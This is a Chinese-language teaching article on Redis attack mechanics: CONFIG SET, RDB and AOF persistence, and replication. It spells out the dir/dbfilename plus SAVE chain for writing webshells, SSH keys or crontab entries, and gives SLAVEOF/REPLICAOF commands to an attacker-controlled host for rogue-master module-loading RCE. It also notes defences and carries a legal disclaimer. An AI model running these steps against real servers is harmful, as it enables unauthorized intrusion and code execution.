本文为教学用途,所有复现均在作者自建靶场内完成。请勿在未授权的情况下对真实系统进行测试。 根据《网络安全法》,未经授权测试、攻击他人系统属于违法犯罪行为。禁止复制 本文Payload 对外部站点进行测试,违规使用造成的一切后果由使用者自行负责。
后续所有 getshell 手法,本质都在利用下面三个机制:
配置文件 :Redis 允许用命令在线改配置 (
CONFIG SET),改配置就能让它"把数据写到指定文件"。持久化(RDB / AOF) :Redis 会把内存数据写到磁盘文件;写文件的时机、路径、文件名都可以被我们控制。
主从复制(replica) :一台 Redis 可以从另一台"全量拉数据",而拉到的数据内容由对方说了算。
攻击者真正在做的事:
让 Redis 把数据写到我能利用的文件里(crontab / SSH 公钥 / WebShell / .so 模块);
让 Redis 从我的假主库拉一份"夹带私货"的数据;
然后想办法让这些内容被执行。
1. 配置文件:Redis 的全部行为都从这里来
1.1 redis.conf 长什么样
Redis 启动时可以加载一个配置文件(通常叫 redis.conf),里面是一行行 配置项 值。典型路径:
# 查看当前实例实际用了哪些配置(最有用!)
redis-cli CONFIG GET *
# 会输出非常多行:配置名、值,成对出现
安全加固 / 攻击判断的第一步几乎都是 CONFIG GET *(或定向 GET),先看现状。
几个最关键的配置项(后面会反复用到):
# 网络
bind 127.0.0.1 # 只监听本机
protected-mode yes # 保护模式
port 6379
# 认证(Redis 6+ 还有 ACL)
requirepass 你的密码
# 持久化
dir /var/lib/redis # 数据目录(重点!)
dbfilename dump.rdb # RDB 文件名
appendonly no # AOF 开关
appendfilename "appendonly.aof"
为什么先看 bind / protected-mode / requirepass?
这三个决定了"你能不能连上"。攻击成立的第一前提是网络可达 (bind 允许 + 防火墙放行),第二是能通过认证(没设密码 / 弱口令 / 未授权访问)。
1.2 CONFIG GET:读当前配置
CONFIG GET dir # 查询数据目录
CONFIG GET dbfilename
CONFIG GET appendonly
实测输出格式:配置名和值成对返回:
1.3 CONFIG SET:在线改配置(攻击核心开关!)
正常情况下 Redis 允许运行时修改大多数配置,不需要重启、不需要改文件:
CONFIG SET dir /tmp # 把数据目录改成 /tmp
CONFIG SET dbfilename evil.rdb
**这是最关键的机制,没有之一。**正常运维用它调优;攻击者用它做两件事:
把
dir改到 /var/spool/cron (写计划任务)、/root/.ssh (写公钥)、网站根目录(写 WebShell)......把
dbfilename改成目标文件名。然后配合持久化命令把"我们精心构造的 key"写到目标文件 → 相当于任意文件写入。
为什么 Redis 会允许在线改 dir / dbfilename?因为它把自己定位成"内存服务",需要能灵活换持久化位置(换磁盘、换机器)。这是功能 ,不是漏洞。安全里"功能即漏洞"的典型:功能本身没错,错在暴露给了不该有权限的人 + 运行在高权限用户下 。堵它 = 禁用
CONFIG命令 / 低权限运行 / ACL 控制,而不是删掉这个功能。
1.4 两种改配置的方式(顺序很重要)
方式A:启动前改 redis.conf 文件
方式B:运行中用 CONFIG SET 在线改 ← 攻击者只能用这种
攻击者不可能去改你磁盘上的 redis.conf,所以一切远程攻击最终都落在 CONFIG SET 上。这就是为什么防御第一条往往就是"rename/禁用 CONFIG 命令"。
2. 持久化机制:内存数据是怎么变成磁盘文件的
Redis 数据在内存,丢了可惜,于是设计了两套"把数据写盘"的机制:RDB 和 AOF。
2.1 RDB:内存快照(默认开启)
原理一句话:把某个时刻内存里的全部数据,整体拍一张"快照",写成一个二进制文件。
-
文件默认叫
dump.rdb,放在dir指定的目录。 -
触发方式:
-
手动:
SAVE(阻塞)或BGSAVE(后台,不阻塞)。 -
自动:满足条件时自动(如"最近 900 秒内至少 1 次修改")。
-
-
文件里存的是当时的完整数据。
SAVE # 立刻落盘(阻塞,数据大时会卡)
BGSAVE # 后台落盘,立即返回
为什么是二进制文件? 因为要序列化所有数据类型 + 做各种压缩优化。对人类不可读,但对 Redis 自己读起来快。攻击面看这里就够了:dump.rdb 里就是"数据库的全部内容"------如果你能下载这个文件,等于拿到整个库的副本。
2.2 AOF:追加日志(默认关闭)
原理一句话:把每一条"会改数据的写命令"按顺序追加到一个日志文件里。 重启时重放日志 = 恢复数据。
-
文件默认叫
appendonly.aof。 -
appendonly yes开启。
CONFIG SET appendonly yes # 开启 AOF
之后 SET/HSET/DEL... 每条写命令都会追加进 appendonly.aof
RDB 和 AOF 有什么区别?
| RDB(快照) | AOF(日志) | |
|---|---|---|
| 记录什么 | 某个时刻的完整数据 | 每一条写命令 |
| 文件性质 | 二进制、紧凑 | 文本可读、可能很大 |
| 数据完整性 | 可能丢最近一次快照之后的数据 | 丢得少(取决于 fsync 策略) |
| 恢复方式 | 直接加载快照 | 重放所有命令 |
两者经常一起开("混合持久化",Redis 4.0+):RDB 做主、AOF 补增量。
2.3 安全上最致命的组合:CONFIG SET dir + dbfilename + 落盘
把前两节连起来看,任意文件写入就成型了:
1) CONFIG SET dir /目标目录 # 把数据目录指到攻击目标处
2) CONFIG SET dbfilename 目标文件名 # 比如 authorized_keys
3) 构造一个 key,让它的 value 正好是"我想写进去的内容"
(比如 SSH 公钥、PHP 一句话、crontab 行)
4) SAVE / BGSAVE # 触发落盘 → 内容被写成文件
5) CONFIG SET dir /默认目录 # 恢复现场,防止被发现/报错
这个套路是不是和上面 1.3 的说法对上了
SAVE 到底把"谁的什么内容"写进文件? 是把整个数据库 (所有 key + value)序列化成一个文件。攻击者要的只是"文件里包含我那段 payload",因为:
crontab 只认里面能匹配到的计划任务行;
authorized_keys 只认里面合法的公钥行;
PHP 只认
<?php ...?>那段。所以就算文件里混着 Redis 二进制垃圾,只要目标解析器认得出那一行,利用就能成立。这就是为什么不用管文件格式干不干净。
但注意:RDB 文件头是二进制的 。crontab 用非 root 跑时对文件开头格式有要求,所以老套路要配
flushall+ 只留一个 key 来"清洗",把二进制垃圾影响降到最低
2.4 现代版本的一点点差异
-
Redis 7+ 默认
save策略/文件名可能不同,但CONFIG SET dir + dbfilename + BGSAVE机制仍在。 -
新版默认对
CONFIG SET dir没有硬性禁止,防御靠 ACL/命令禁用/权限,不是靠版本。 -
所以原理不变,只是"能不能打到"取决于权限与配置。
3. 主从复制(replication):数据怎么从一台跑到另一台
3.1 为什么需要主从
单台 Redis 挂了业务就断,数据也危险。于是有了"复制":
-
一台 master(主库) 负责写;
-
若干台 replica(从库,旧叫 slave) 从主库同步数据,只读,承担读流量 / 灾备。
客户端读写时的分工:
写请求 ──► master
读请求 ──► replica(若干台,和 master 数据一致)
3.2 从库是怎么"同步"的?------这是 RCE 攻击的钥匙
当一个节点成为另一台的从库时,会经历:
-
从库发命令告诉主库:"我要当你的从"(
REPLICAOF 主IP 主端口,老命令叫SLAVEOF)。 -
主库先做一次 BGSAVE,把当前数据生成一份 RDB。
-
这份 RDB 通过 TCP 直接传给从库(这叫"全量同步 / full resync")。
-
从库拿到 RDB,加载到自己的内存 → 数据一致。
-
之后主库每执行一条写命令,就实时把命令"推送"给从库执行(增量同步)。
master replica
│ REPLICAOF master 6379 │ ← 从库主动发起
│ │
├── BGSAVE 生成 RDB ──────────►│
│ 发送 RDB(全量) │── 加载到内存
│ │
├── SET x 1 ─────────────────►│ ← 之后每条写命令都实时推
│ │
关键点: 同步的内容是从库从主库"拉"下来的 ------也就是说,只要我让你去连我的假主库,你内存里就会加载我发给你的那份"RDB" 。那份 RDB 里如果夹带了一段"加载恶意模块"的指令,你的 Redis 就会执行它 → 代码执行(RCE) 。这就是"主从复刻(replication)RCE"的原理:让目标 Redis 主动来连我们控制的服务器,然后喂给它恶意数据。
而"让目标来连我们"用什么命令?两个都行:
SLAVEOF 192.168.1.100 6666 # 旧命令 REPLICAOF 192.168.1.100 6666 # 新命令(Redis 5+)
3.3 为什么会加载"模块"?(RCE 的具体落点)
Redis 从 4.0 起支持 Module(扩展模块) :用 C 写的 .so 动态库,MODULE LOAD 就能加载,加载后能新增命令。
MODULE LOAD /path/to/evil.so # 加载恶意模块 → 新增一个自定义命令
evilcmd args # 调用它 → 执行任意代码
主从复刻 RCE 的完整链条:
攻击者:
1) 自己写一个恶意 .so(里面是执行 system() 的代码)
2) 在自己的机器上搭一个"假主库"
3) 等目标 Redis 通过 SLAVEOF/REPLICAOF 连过来
目标 Redis:
4) 目标发 REPLICAOF 攻击者IP 端口
5) 假主库把恶意 .so 包装进一份 RDB 发给目标
6) 目标加载这份 RDB(全量同步)
7) RDB 里包含"加载模块"的动作 → 恶意 .so 被加载
8) 攻击者调用新增命令 → RCE
这个套路和"写文件 getshell"比,优势在哪? 写 crontab/公钥/WebShell 依赖:目标目录可写 + 知道路径 + Redis 有权限 。主从复刻不依赖"写系统文件",只要能连上、能执行
SLAVEOF/REPLICAOF就可能有戏,是 4.x/5.x 未授权/弱口令场景下更"通吃"的 RCE 路线。那为什么不所有版本都打这个?
Redis < 4.0:没有 Module,此路不通。
Redis 4.x/5.x:Module + 复刻配合,老套路最常用。
Redis 6.0+:默认/配置上对"从库加载模块"有了更多限制,需要具体情况具体看(能不能 MODULE LOAD 受 ACL/配置约束)。所以版本判断是第一件事 :
INFO server看redis_version。
3.4 从库身份还能怎么被利用
不只是 RCE。攻击者甚至可以让目标变成自己从库后,随意往从库灌数据(污染缓存)、或者读取它的数据(同步到攻击者机器 = 数据窃取)。不过在真实的 web 攻击链里最常用还是 RCE。
4. 把三大机制串成一张"攻击地图"
现在回头看开头那句"所有攻击都是三个允许",具体化到 Redis:
| 攻击类型 | 用到上面哪个机制 | 一句话原理 |
|---|---|---|
| 未授权访问/读数据 | 网络 + 认证配置 | 你能连上它、它没拦你 → 直接读写库 |
| 写 crontab/公钥/WebShell | 持久化 + CONFIG SET | 改 dir/dbfilename,把构造好的 key 落盘到目标位置 |
| 主从复刻 RCE | 主从复制 + Module | 骗目标连你的假主库,喂它恶意 RDB,触发模块加载 |
| DoS(灌数据) | 单线程模型 | 无限写 key 撑爆内存 / KEYS * 阻塞 |
| 信息泄露 | 数据库内容 | 直接 GET/HGETALL/KEYS 读业务数据 |
每一步都是在"用这三个机制开关"。
5. 自测
-
CONFIG GET dir和CONFIG SET dir分别做什么?为什么攻击者依赖 SET? -
用一句话分别说清 RDB 和 AOF。
-
任意文件写入(写 WebShell)需要哪 4 步?
-
主从复刻 RCE 里,"目标主动来连我们"用的是哪条命令?真正执行代码的动作发生在哪一步?
-
为什么版本判断是第一件事?